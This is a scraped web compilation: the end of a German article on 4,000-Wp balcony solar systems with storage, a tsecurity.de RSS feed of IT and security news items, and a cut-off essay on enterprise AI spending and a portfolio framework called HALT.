				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Thomas Bergbold </p></div>



<p>Je nach Modell lassen sich mehrere Kilowatt Modulleistung sowie vier oder mehr Modulstränge anschließen, während die Abgabe ins Hausnetz auf 800 VA begrenzt bleibt. Was tagsüber nicht direkt verbraucht wird, landet im Akku und versorgt den Haushalt abends und nachts – zwar weiterhin mit maximal 800 VA, dafür aber über viele Stunden.</p>



<p>Die große Modulfläche zahlt sich zudem an trüben Tagen aus. Bei schwachem Licht erzeugt die größere Modulfläche in der Regel deutlich mehr Energie als ein klassisches Zwei-Modul-System. Das verbessert insbesondere im Winter und bei bedecktem Himmel die Chance, neben dem aktuellen Verbrauch auch noch den Speicher zu laden.</p>



<h2 class="wp-block-heading toc">Was gilt für Mieter und Wohnungseigentümer?</h2>



<p>Seit Ende 2024 zählen Steckersolargeräte zu den privilegierten Maßnahmen: Mieter können nach <a href="https://www.gesetze-im-internet.de/bgb/__554.html">Paragraf 554 BGB</a> grundsätzlich verlangen, dass der Vermieter die erforderliche bauliche Veränderung erlaubt, sofern sie ihm zumutbar ist. Wohnungseigentümer haben einen entsprechenden Anspruch gegenüber der Eigentümergemeinschaft.</p>



<p>Der gesetzliche Gestattungsanspruch bezieht sich ausdrücklich auf Steckersolargeräte. Ob er auch ein technisch und rechtlich als reguläre PV-Anlage behandeltes 4.000-Wp-System umfasst, ist zumindest zweifelhaft. Mieter und Wohnungseigentümer sollten deshalb vor Bestellung und Montage ausdrücklich die Zustimmung des Vermieters beziehungsweise der Gemeinschaft einholen.</p>



<p>Hinzu kommen praktische Fragen wie Statik und Windlast: Acht Glas-Glas-Module bringen einschließlich Halterung schnell mehr als 200 Kilogramm auf die Waage. Eine Montage am Geländer kommt deshalb nur nach Prüfung von Tragfähigkeit, Befestigung sowie Wind- und Soglasten infrage; realistischer sind häufig Terrasse, Garten, Garage oder Flachdach.</p>



<h2 class="wp-block-heading toc">Rechnet sich der Aufwand?</h2>



<p>Entsprechende Komplettsets werden zeitweise bereits für rund 1.300 Euro angeboten. Der genaue Preis hängt vor allem von Speichergröße, Lieferumfang, Halterung und Versandkosten ab.</p>



<p>Angeboten werden beispielsweise das <a href="https://www.solakon.de/products/onpower-plus?utm_source=affiliate&amp;utm_medium=cpo&amp;utm_campaign=pcwelt&amp;ref=yneijbuy" target="_blank" rel="noreferrer noopener">onPower Plus bei Solakon</a> oder das <a href="https://t.adcell.com/p/click?promoId=339459&amp;slotId=72749&amp;param0=https://kleineskraftwerk.de/products/okta-xl-4000wp-balkonkraftwerk-mit-speicher-anker-solix-solarbank-4-pro?Batteriespeicher=Anker+Solarbank+4+Pro&amp;Halterung=ohne+Halterung&amp;Mehrwertsteuer=0+%25+f%C3%BCr+Privatkunden&amp;subId=rss" target="_blank" rel="noreferrer noopener">Okta XL mit Speicher bei Kleines Kraftwerk</a>. Hinzu kommen die Kosten für den Elektriker.</p>



<p>Ein Vier-Personen-Haushalt mit rund 4.500 Kilowattstunden Jahresverbrauch kann mit einem solchen System einen relevanten Anteil seines Strombedarfs selbst decken – vorausgesetzt, Ausrichtung, Speichergröße und Verbrauchsprofil passen zusammen. Bei einem Strompreis von 30 bis 35 Cent pro Kilowattstunde sind jährliche Einsparungen im hohen dreistelligen Bereich realistisch; vierstellige Werte setzen dagegen sehr gute Erträge und einen besonders hohen Eigenverbrauch voraus.</p>



<p>Wie schnell sich das System amortisiert, hängt stark von Kaufpreis, Fachinstallation, Halterung, Ausrichtung und nutzbarem Eigenverbrauch ab. Unter sehr günstigen Bedingungen sind wenige Jahre möglich; unter Einbeziehung aller Installationskosten erscheint häufig eine Amortisationszeit von etwa drei bis sieben Jahren realistischer.</p>



<h2 class="wp-block-heading toc">Fazit</h2>



<p>Ein XXL-Solarsystem mit 4.000 Wp ist grundsätzlich zulässig, fällt aber nicht mehr unter die EEG-Sonderregeln für Steckersolargeräte. Wer die Anmeldung beim Netzbetreiber und die Installation durch einen Elektrofachbetrieb einplant, erhält eine kompakte PV-Anlage mit Speicher, die auch ohne klassisches Hausdach einen hohen Eigenverbrauch ermöglichen kann.</p>



<p>Wer den zusätzlichen technischen und bürokratischen Aufwand vermeiden möchte, bleibt bei maximal 2.000 Wp Modulleistung und 800 VA Wechselrichterleistung. Dabei ist jedoch die Anschlussart zu beachten: Über einen gewöhnlichen Schutzkontaktstecker sieht die neue Produktnorm höchstens 960 Wp vor; steckerfertige Systeme mit bis zu 2.000 Wp benötigen eine spezielle Energiesteckvorrichtung.</p>



<h2 class="wp-block-heading">Weitere Informationen</h2>



<p><a href="https://www.pcwelt.de/article/2909734/wann-ist-die-beste-zeit-fur-den-kauf-eines-balkonkraftwerks.html" target="_blank" rel="noreferrer noopener">Wann ist die beste Zeit für den Kauf eines Balkonkraftwerks?</a></p>



<p><a href="https://www.pcwelt.de/article/2672932/balkonkraftwerke-die-fuenf-wichtigsten-tipps-fuer-einsteiger.html" target="_blank" rel="noreferrer noopener">Balkonkraftwerke: Die fünf wichtigsten Tipps für Einsteiger</a></p>



<p><a href="https://www.pcwelt.de/article/3106619/balkonkraftwerk-speicher-mythen-erklaert.html" target="_blank" rel="noreferrer noopener">Balkonkraftwerk und Speicher: 10 verbreitete Irrtümer</a></p>



<p><a href="https://www.pcwelt.de/article/3067471/brandrisiko-balkonkraftwerk-zahlen-ursachen-realistische-gefahrenanalyse.html" target="_blank" rel="noreferrer noopener">Brandrisiko Balkonkraftwerk: Zahlen, Ursachen, Realität</a></p>



<p><a href="https://www.pcwelt.de/article/3067204/urlaubsmodus-fur-das-balkonkraftwerk.html" target="_blank" rel="noreferrer noopener">Urlaubsmodus für das Balkonkraftwerk: Abschalten oder Laufenlassen?</a></p>



<p><a href="https://www.pcwelt.de/article/2827121/8-fehler-beim-eigenen-balkonkraftwerk-vermeiden.html" target="_blank" rel="noreferrer noopener">Das sind die 8 größten Fehler beim eigenen Balkonkraftwerk</a></p>



<p><a href="https://www.pcwelt.de/article/2889122/balkonkraftwerk-fur-mieter-darauf-mussen-sie-unbedingt-achten.html" target="_blank" rel="noreferrer noopener">Balkonkraftwerk für Mieter – Darauf müssen Sie unbedingt achten</a></p>



<p><a href="https://www.pcwelt.de/article/2812349/balkonkraftwerk-mit-oder-ohne-speicher-eine-realistische-analyse.html" target="_blank" rel="noreferrer noopener">Balkonkraftwerk mit oder ohne Speicher? Eine realistische Analyse</a></p>



<p><a href="https://www.pcwelt.de/article/2682899/so-melden-sie-ein-balkonkraftwerk-an.html" target="_blank" rel="noreferrer noopener">Einstieg leicht gemacht: So melden Sie ein Balkonkraftwerk an</a></p>



<p><a href="https://www.pcwelt.de/article/2849967/balkonkraftwerk-leistung-optimieren.html" target="_blank" rel="noreferrer noopener">So optimieren Sie die Leistung Ihres Balkonkraftwerkes</a></p>



<p><a href="https://www.pcwelt.de/article/3186240/neues-fur-speicherbesitzer-variable-netzentgelte-smart-meter-light-und-eeg-2027.html" target="_blank" rel="noreferrer noopener">Neues für Speicherbesitzer: Variable Netzentgelte, Smart Meter Light und EEG 2027</a></p>



<p><a href="https://www.pcwelt.de/article/3093906/so-machen-sie-ihr-balkonkraftwerk-jetzt-fit-fur-den-fruehling.html" target="_blank" rel="noreferrer noopener">So machen Sie Ihr Balkonkraftwerk jetzt fit für den Frühling</a></p>



<p><a href="https://www.pcwelt.de/article/2909734/wann-ist-die-beste-zeit-fur-den-kauf-eines-balkonkraftwerks.html" target="_blank" rel="noreferrer noopener">Balkonkraftwerk kaufen: Jetzt zuschlagen oder lieber warten?</a></p>



<p><a href="https://www.pcwelt.de/article/3187670/elektro-auto-lasst-sich-der-strom-aus-der-autobatterie-auch-im-haus-nutzen.html" target="_blank" rel="noreferrer noopener">Elektro-Auto: Lässt sich der Strom aus der Autobatterie auch im Haus nutzen?</a></p>



<p></p>

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<title><![CDATA[90,000 Flock cameras have quietly gone up in the US: What they track and how to check your city]]></title>
<description><![CDATA[Flock cameras are everywhere - even in my small town, quietly using AI to identify your car and surveil your movements. But did you consent? Probably not.]]></description>
<link>https://tsecurity.de/de/3684156/it-nachrichten/90000-flock-cameras-have-quietly-gone-up-in-the-us-what-they-track-and-how-to-check-your-city/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684156/it-nachrichten/90000-flock-cameras-have-quietly-gone-up-in-the-us-what-they-track-and-how-to-check-your-city/</guid>
<pubDate>Tue, 21 Jul 2026 17:22:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Flock cameras are everywhere - even in my small town, quietly using AI to identify your car and surveil your movements. But did you consent? Probably not.]]></content:encoded>
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<title><![CDATA[Firefox Tooling Announcements: Firefox Profiler Deployment (July 21, 2026)]]></title>
<description><![CDATA[The latest version of the Firefox Profiler is now live! Check out the full changelog below to see what’s changed:
Highlights:

[fatadel] Show counter values over time in profiler-cli (#6136)
[Markus Stange] More typed arrays: sample + counter times, some frametable columns (#6139)
[Nazım Can Altı...]]></description>
<link>https://tsecurity.de/de/3683972/tools/firefox-tooling-announcements-firefox-profiler-deployment-july-21-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683972/tools/firefox-tooling-announcements-firefox-profiler-deployment-july-21-2026/</guid>
<pubDate>Tue, 21 Jul 2026 16:11:42 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The latest version of the <a href="https://profiler.firefox.com/" rel="noopener nofollow ugc">Firefox Profiler</a> is now live! Check out the full changelog below to see what’s changed:</p>
<p><strong>Highlights:</strong></p>
<ul>
<li>[fatadel] Show counter values over time in profiler-cli (<a href="https://github.com/firefox-devtools/profiler/pull/6136" rel="noopener nofollow ugc">#6136</a>)</li>
<li>[Markus Stange] More typed arrays: sample + counter times, some frametable columns (<a href="https://github.com/firefox-devtools/profiler/pull/6139" rel="noopener nofollow ugc">#6139</a>)</li>
<li>[Nazım Can Altınova] Add marker handles to <code>profiler-cli thread network</code> (<a href="https://github.com/firefox-devtools/profiler/pull/6172" rel="noopener nofollow ugc">#6172</a>)</li>
<li>[Nazım Can Altınova] Surface network activity across profiler-cli (<a href="https://github.com/firefox-devtools/profiler/pull/6175" rel="noopener nofollow ugc">#6175</a>)</li>
<li>[Nazım Can Altınova] Add <code>profile meta</code> command to profiler-cli (<a href="https://github.com/firefox-devtools/profiler/pull/6177" rel="noopener nofollow ugc">#6177</a>)</li>
<li>[Markus Stange] Allow raw marker table’s <code>startTime</code> and <code>endTime</code> columns to be Float64Array (<a href="https://github.com/firefox-devtools/profiler/pull/6169" rel="noopener nofollow ugc">#6169</a>)</li>
</ul>
<p><strong>Other Changes:</strong></p>
<ul>
<li>[Sky Ning] Skip preview links for non-main PRs (<a href="https://github.com/firefox-devtools/profiler/pull/6161" rel="noopener nofollow ugc">#6161</a>)</li>
<li>[spokodev] fix(gecko-upgrade): don’t crash on a counter with empty sample_groups (<a href="https://github.com/firefox-devtools/profiler/pull/6160" rel="noopener nofollow ugc">#6160</a>)</li>
<li>[Markus Stange] Make profile-conversion snapshots more compact and meaningful (<a href="https://github.com/firefox-devtools/profiler/pull/6152" rel="noopener nofollow ugc">#6152</a>)</li>
<li>[Nazım Can Altınova] Only render a marker url field as a link when the whole value is a URL (<a href="https://github.com/firefox-devtools/profiler/pull/6163" rel="noopener nofollow ugc">#6163</a>)</li>
<li>[fatadel] Show each counter’s owning process in profiler-cli (<a href="https://github.com/firefox-devtools/profiler/pull/6164" rel="noopener nofollow ugc">#6164</a>)</li>
<li>[Nazım Can Altınova] Document the pre-existing thread info and network JSON schemas in the cli (<a href="https://github.com/firefox-devtools/profiler/pull/6171" rel="noopener nofollow ugc">#6171</a>)</li>
<li>[Markus Stange] Copy column contents in getRawSamplesTableBuilderFromExisting for consistency (<a href="https://github.com/firefox-devtools/profiler/pull/6168" rel="noopener nofollow ugc">#6168</a>)</li>
<li>[Markus Stange] Convert eligible columns to typed arrays when outputting from profiler-edit (<a href="https://github.com/firefox-devtools/profiler/pull/6167" rel="noopener nofollow ugc">#6167</a>)</li>
<li>[Markus Stange] Remove unused samples.thread column (<a href="https://github.com/firefox-devtools/profiler/pull/6151" rel="noopener nofollow ugc">#6151</a>)</li>
<li>[Markus Stange] Fixed botched merge which broke ‘yarn ts’ (<a href="https://github.com/firefox-devtools/profiler/pull/6174" rel="noopener nofollow ugc">#6174</a>)</li>
<li>[Markus Stange] Update json-slabs 0.3.0 → 0.4.0 (major) (<a href="https://github.com/firefox-devtools/profiler/pull/6176" rel="noopener nofollow ugc">#6176</a>)</li>
<li>[nightcityblade] Fix light theme text selection colors (<a href="https://github.com/firefox-devtools/profiler/pull/6186" rel="noopener nofollow ugc">#6186</a>)</li>
<li>[Nazım Can Altınova] Import source map URLs from Chrome DevTools traces (<a href="https://github.com/firefox-devtools/profiler/pull/6190" rel="noopener nofollow ugc">#6190</a>)</li>
<li>[Nazım Can Altınova] Rename yarn <code>build-profiler-cli</code> script to <code>build-cli</code> (<a href="https://github.com/firefox-devtools/profiler/pull/6191" rel="noopener nofollow ugc">#6191</a>)</li>
<li>[Nazım Can Altınova] Migrate husky to version 9 (<a href="https://github.com/firefox-devtools/profiler/pull/6201" rel="noopener nofollow ugc">#6201</a>)</li>
<li>[Nazım Can Altınova] Fix horizontal overflow when the transform navigator is long (<a href="https://github.com/firefox-devtools/profiler/pull/6199" rel="noopener nofollow ugc">#6199</a>)</li>
<li>[fatadel] Add a ‘hexadecimal’ marker schema field format (<a href="https://github.com/firefox-devtools/profiler/pull/6197" rel="noopener nofollow ugc">#6197</a>)</li>
<li>[Nazım Can Altınova] Bump source-map to 0.8.0 and remove the old type workaround (<a href="https://github.com/firefox-devtools/profiler/pull/6202" rel="noopener nofollow ugc">#6202</a>)</li>
<li>[Nazım Can Altınova] <img alt=":clockwise_vertical_arrows:" class="emoji" height="20" src="https://emoji.discourse-cdn.com/twitter/clockwise_vertical_arrows.png?v=15" title=":clockwise_vertical_arrows:" width="20"> Sync: l10n → main (July 21, 2026) (<a href="https://github.com/firefox-devtools/profiler/pull/6209" rel="noopener nofollow ugc">#6209</a>)</li>
</ul>
<p>Big thanks to our amazing localizers for making this release possible:</p>
<ul>
<li>fr: parmegiani.thomas</li>
<li>fr: Théo Chevalier</li>
<li>sr: Марко Костић (Marko Kostić)</li>
<li>sv-SE: Luna Jernberg</li>
<li>tr: Grk</li>
<li>zh-CN: Ariel</li>
<li>zh-CN: Olvcpr423</li>
</ul>
<p>Find out more about the Firefox Profiler on <a href="https://profiler.firefox.com/" rel="noopener nofollow ugc">profiler.firefox.com</a>! If you have any questions, join the discussion on our <a href="https://chat.mozilla.org/#/room/%23profiler:mozilla.org" rel="noopener nofollow ugc">Matrix channel</a>!</p>
            <p><small>1 post - 1 participant</small></p>
            <p><a href="https://discourse.mozilla.org/t/firefox-profiler-deployment-july-21-2026/149006">Read full topic</a></p>]]></content:encoded>
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<title><![CDATA[Browse the New Mercantile Swag Store]]></title>
<description><![CDATA[Mercantile, the official swag store of the WordPress project, has a newly redesigned storefront with a catalog that now sits front and center, and a design tuned to hold up across a wide range of screen sizes. There are also small touches, like automatically selecting a variant when only one is i...]]></description>
<link>https://tsecurity.de/de/3683930/it-security-nachrichten/browse-the-new-mercantile-swag-store/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683930/it-security-nachrichten/browse-the-new-mercantile-swag-store/</guid>
<pubDate>Tue, 21 Jul 2026 15:52:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Mercantile, the official swag store of the WordPress project, has a newly redesigned storefront with a catalog that now sits front and center, and a design tuned to hold up across a wide range of screen sizes. There are also small touches, like automatically selecting a variant when only one is in stock and order […]]]></content:encoded>
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<title><![CDATA[Cisco just launched two cyber-focused small language models: Antares-350M and Antares-1B aim to supercharge codebase analysis – and they run at a “fraction of the compute expense” of popular frontier models]]></title>
<description><![CDATA[The Antares models unveiled by Cisco aim to cut costs in codebase analysis]]></description>
<link>https://tsecurity.de/de/3683829/it-security-nachrichten/cisco-just-launched-two-cyber-focused-small-language-models-antares-350m-and-antares-1b-aim-to-supercharge-codebase-analysis-and-they-run-at-a-fraction-of-the-compute-expense-of-popular-frontier-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683829/it-security-nachrichten/cisco-just-launched-two-cyber-focused-small-language-models-antares-350m-and-antares-1b-aim-to-supercharge-codebase-analysis-and-they-run-at-a-fraction-of-the-compute-expense-of-popular-frontier-models/</guid>
<pubDate>Tue, 21 Jul 2026 15:25:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Antares models unveiled by Cisco aim to cut costs in codebase analysis]]></content:encoded>
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<title><![CDATA[Cisco’s open-weight Antares models make vulnerability localization cheaper]]></title>
<description><![CDATA[A security analyst opens an unfamiliar repository, pulls up a vulnerability advisory, and starts hunting for the file where the weakness lives. The naming conventions belong to someone else. Evidence sits in scattered corners of a codebase that runs to thousands of files. That first stage of tria...]]></description>
<link>https://tsecurity.de/de/3683824/it-security-nachrichten/ciscos-open-weight-antares-models-make-vulnerability-localization-cheaper/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683824/it-security-nachrichten/ciscos-open-weight-antares-models-make-vulnerability-localization-cheaper/</guid>
<pubDate>Tue, 21 Jul 2026 15:25:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A security analyst opens an unfamiliar repository, pulls up a vulnerability advisory, and starts hunting for the file where the weakness lives. The naming conventions belong to someone else. Evidence sits in scattered corners of a codebase that runs to thousands of files. That first stage of triage burns hours and expertise, and it is the part Cisco set out to speed up. Today, the company released Antares, a family of small language models built … <a href="https://www.helpnetsecurity.com/2026/07/21/cisco-antares-vulnerability-localization-released/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/21/cisco-antares-vulnerability-localization-released/">Cisco’s open-weight Antares models make vulnerability localization cheaper</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[A new extortion cocktail: office printers, small ransoms, and BitLocker]]></title>
<description><![CDATA[We cover two recent cases of BitLocker extortion using RDP, MSSQL, RMM tools, web shells, and printers. The story includes TTPs and recommendations. This article has been indexed from Securelist Read the original article: A new extortion cocktail: office printers,…
Read more →
The post A new exto...]]></description>
<link>https://tsecurity.de/de/3683816/it-security-nachrichten/a-new-extortion-cocktail-office-printers-small-ransoms-and-bitlocker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683816/it-security-nachrichten/a-new-extortion-cocktail-office-printers-small-ransoms-and-bitlocker/</guid>
<pubDate>Tue, 21 Jul 2026 15:25:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We cover two recent cases of BitLocker extortion using RDP, MSSQL, RMM tools, web shells, and printers. The story includes TTPs and recommendations. This article has been indexed from Securelist Read the original article: A new extortion cocktail: office printers,…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/a-new-extortion-cocktail-office-printers-small-ransoms-and-bitlocker/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/a-new-extortion-cocktail-office-printers-small-ransoms-and-bitlocker/">A new extortion cocktail: office printers, small ransoms, and BitLocker</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[A new extortion cocktail: office printers, small ransoms, and BitLocker]]></title>
<description><![CDATA[We cover two recent cases of BitLocker extortion using RDP, MSSQL, RMM tools, web shells, and printers. The story includes TTPs and recommendations.]]></description>
<link>https://tsecurity.de/de/3683802/malware-trojaner-viren/a-new-extortion-cocktail-office-printers-small-ransoms-and-bitlocker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683802/malware-trojaner-viren/a-new-extortion-cocktail-office-printers-small-ransoms-and-bitlocker/</guid>
<pubDate>Tue, 21 Jul 2026 15:19:46 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We cover two recent cases of BitLocker extortion using RDP, MSSQL, RMM tools, web shells, and printers. The story includes TTPs and recommendations.]]></content:encoded>
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<title><![CDATA[The AI allocation trap: Record spend, vanishing returns]]></title>
<description><![CDATA[In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant told Axios that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-b...]]></description>
<link>https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</guid>
<pubDate>Tue, 21 Jul 2026 15:18:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant <a href="https://www.axios.com/2026/05/28/ai-spending-roi-enterprise-costs">told Axios</a> that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-billion-dollar accident is only the visible part of a quieter, far larger failure. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-1-15-gartner-says-worldwide-ai-spending-will-total-2-point-5-trillion-dollars-in-2026">Worldwide AI spending is forecast to reach $2.52 trillion in 2026</a>, more than any technology category in a generation, and by the most cited measure, roughly 95 percent of it returns nothing. Boards read that as proof that the technology does not work. The evidence points somewhere less comfortable, and it is not a technology problem at all. Most boards cannot see it because they are reading the wrong number: They track failure when the number that matters is allocation. The discipline that separates the winners is not technical. It is how they allocate capital across time, and how willing they are to stop. The hardest discipline in the AI era is not adopting faster. It is allocating honestly and refusing to judge a three-year bet on a six-month cycle.</p>



<h2 class="wp-block-heading">The number everyone quotes, and no one acts on</h2>



<p class="wp-block-paragraph">The headline statistic is now familiar. MIT’s Project NANDA, in its 2025 study <a href="https://fortune.com/2025/08/18/mit-report-95-percent-generative-ai-pilots-at-companies-failing-cfo/">The GenAI Divide</a>, found that about 95 percent of enterprise generative AI pilots produced no measurable impact on the P&amp;L, while roughly 5 percent captured nearly all the value. <a href="https://www.spglobal.com/market-intelligence/en/news-insights/research/2025/10/generative-ai-shows-rapid-growth-but-yields-mixed-results">S&amp;P Global Market Intelligence</a> found that the share of companies abandoning most of their AI initiatives jumped from 17 percent to 42 percent in a single year, with the average organization scrapping 46 percent of its proofs-of-concept before production. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">Gartner</a> expects more than 40 percent of agentic AI projects to be canceled by the end of 2027, citing escalating costs, unclear business value and inadequate risk controls. And the pattern predates generative AI: <a href="https://www.rand.org/pubs/research_reports/RRA2680-1.html">RAND</a> found that more than 80 percent of AI projects fail, roughly twice the rate of comparable work that does not involve AI.</p>



<p class="wp-block-paragraph">Read as a technology story, these numbers say AI does not work. Read correctly, they say something more useful. MIT’s own authors located the cause not in model quality but in a <a href="https://virtualizationreview.com/articles/2025/08/19/mit-report-finds-most-ai-business-investments-fail-reveals-genai-divide.aspx">learning and integration gap</a>. The winners were not running better models. They picked one problem, executed and worked well together. Purchased solutions reached production about 67 percent of the time, while internal builds succeeded roughly a third as often. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-03-31-gartner-forecasts-worldwide-genai-spending-to-reach-644-billion-in-2025">Gartner’s own spending forecast</a> notes the same pivot, with CIOs scaling back ambitious internal builds in favor of commercial solutions that promise more predictable value. None of that is a verdict on the technology. It is a verdict on allocation: What gets funded, for how long and against which yardstick. The popular prescription, heard in every boardroom this year, is to measure harder and prove value sooner. That advice quietly repeats the mistake, because forcing a three-year bet to prove itself sooner is precisely how you kill it. The fix is not more measurement. It is measuring each bet against the right clock and subtracting the ones that miss.</p>



<h2 class="wp-block-heading">The six-month cycle problem</h2>



<p class="wp-block-paragraph">Return to that 95 percent, because the way it is measured is the whole argument. Much of the reported failure is judged on a short clock, with a pilot counted as a failure if it has not shown a measurable financial return within roughly six months. The single most quoted number in enterprise AI is therefore a six-month yardstick applied to every initiative, including the bets designed to pay back in three years. The headline failure rate is not only a measure of AI. It is a measure of impatience.</p>



<p class="wp-block-paragraph">The most expensive mistake in enterprise AI is a timing error. Enterprises have been spending heavily on AI for more than two years, and 2026 is the year boards are demanding returns. The multi-year bets funded during the 2024 and 2025 scale-up are only now far enough along to be judged. When a board reviews an initiative, it applies the yardstick it knows, which is quarterly return. That yardstick is correct for an efficiency project and ruinous for a capability bet. A workflow automation that should pay back in two quarters and a foundational data and agent capability that pays back in three years are not the same instrument, yet they are reviewed in the same meeting against the same metric.</p>



<p class="wp-block-paragraph">This is the heart of the divide. The 5 percent did not simply pick better projects. They judged each project against its own horizon. McKinsey’s enduring <a href="https://www.mckinsey.com/capabilities/strategy-and-corporate-finance/our-insights/enduring-ideas-the-three-horizons-of-growth">Three Horizons model</a> made this discipline standard in corporate strategy a generation ago: near-term, emerging and long-term bets are funded and measured differently. AI erased that discipline because the hype compressed every timeline into the current quarter. The result is two failure modes that appear opposite yet share a common root. Organizations kill three-year bets at month six because they miss a metric the bet was never designed to hit. And they keep funding six-month theater for years because it is visible, safe and never asked to prove a return. Both are allocation failures. Neither is a technology failure.</p>



<h2 class="wp-block-heading">Subtraction is a strategy</h2>



<p class="wp-block-paragraph">There is a second discipline, the 5 percent share, and it is the one boards find hardest. They subtract. Every credible study of the failure rate describes the same chaotic pattern underneath it: Initiatives are <a href="https://www.ciodive.com/news/AI-project-fail-data-SPGlobal/742590/">abandoned late, without criteria</a>, after the money is spent and the credibility is gone. Disciplined organizations do the opposite. They decide the conditions for stopping before they start, and they stop on schedule. Subtraction is not the absence of strategy. It is the strategy. Capital removed from a failing bet is capital available for a surviving one, and the survivors are where the entire return lives.</p>



<p class="wp-block-paragraph">This reframes the 42 percent abandonment figure. Abandonment is not the problem. Undisciplined abandonment is. An organization that liquidates a position the moment it breaches a pre-agreed kill line is practicing portfolio hygiene. An organization that lets a doomed pilot run until someone loses patience is paying full price for a lesson it could have bought at a discount. The 5 percent who won were not smarter. They were patient in the right places and ruthless in the wrong ones.</p>



<h2 class="wp-block-heading">The HALT framework: Horizon, Allocation, Liquidation, Tracking</h2>



<p class="wp-block-paragraph">Treating AI as a portfolio rather than a pile of pilots requires four disciplines, and the organizations that execute well put all four in place before the next funding cycle, not after the next failure. The name is deliberate. The discipline most enterprises lack is the willingness to halt the wrong bets in time to fund the right ones.</p>



<p class="wp-block-paragraph"><strong>Component 1: Horizon. </strong>Classify every AI initiative by its true payoff horizon before it is funded. Horizon 1 covers efficiency plays that should return value within two quarters. Horizon 2 covers capability bets, data foundations, agent platforms and integration work that pays back in roughly 6 to 18 months. Horizon 3 covers transformation bets that take eighteen months to three years or longer. Each horizon carries its own success metric, set at funding time. A Horizon 1 yardstick never judges a Horizon 3 bet. This single rule prevents the most common and most expensive error in the portfolio.</p>



<p class="wp-block-paragraph"><strong>Component 2: Allocation. </strong>Decide the split across horizons deliberately, as a board-level capital decision, not as the accidental sum of whatever pilots happened to win approval. A practical reference point, borrowed from decades of innovation-portfolio practice, is roughly 70% to near-term value, 20% to capability, and 10% to transformation. The exact ratio is yours; the discipline is to choose and defend it. The failure mode is an unmanaged portfolio: 90 percent scattered across disconnected Horizon 1 experiments, with nothing compounding into the Horizon 2 capability that the buy-and-integrate winners actually built.</p>



<p class="wp-block-paragraph"><strong>Component 3: Liquidation. </strong>Attach a kill line to every initiative at the moment it is funded: A named milestone, a date and an owner empowered to stop it. If a bet misses its horizon-appropriate milestone, it is liquidated, and capital is reallocated on schedule without debate over sunk costs. The absence of a pre-agreed kill line is not patience. It is an unpriced liability that the board has almost certainly not been shown.</p>



<p class="wp-block-paragraph"><strong>Component 4: Tracking. </strong>Report the portfolio to the board on a fixed cadence using a single instrument: The AI Portfolio Scorecard. Not a deck of project updates, but a single view of allocation by horizon, burn against milestone, liquidation decisions taken and capital reallocated to survivors. The cadence is the control. A portfolio reviewed once a year is a portfolio managed by hope.</p>



<p class="wp-block-paragraph"><strong>THE AI PORTFOLIO SCORECARD: SCORE EVERY INITIATIVE BEFORE IT IS FUNDED</strong></p>



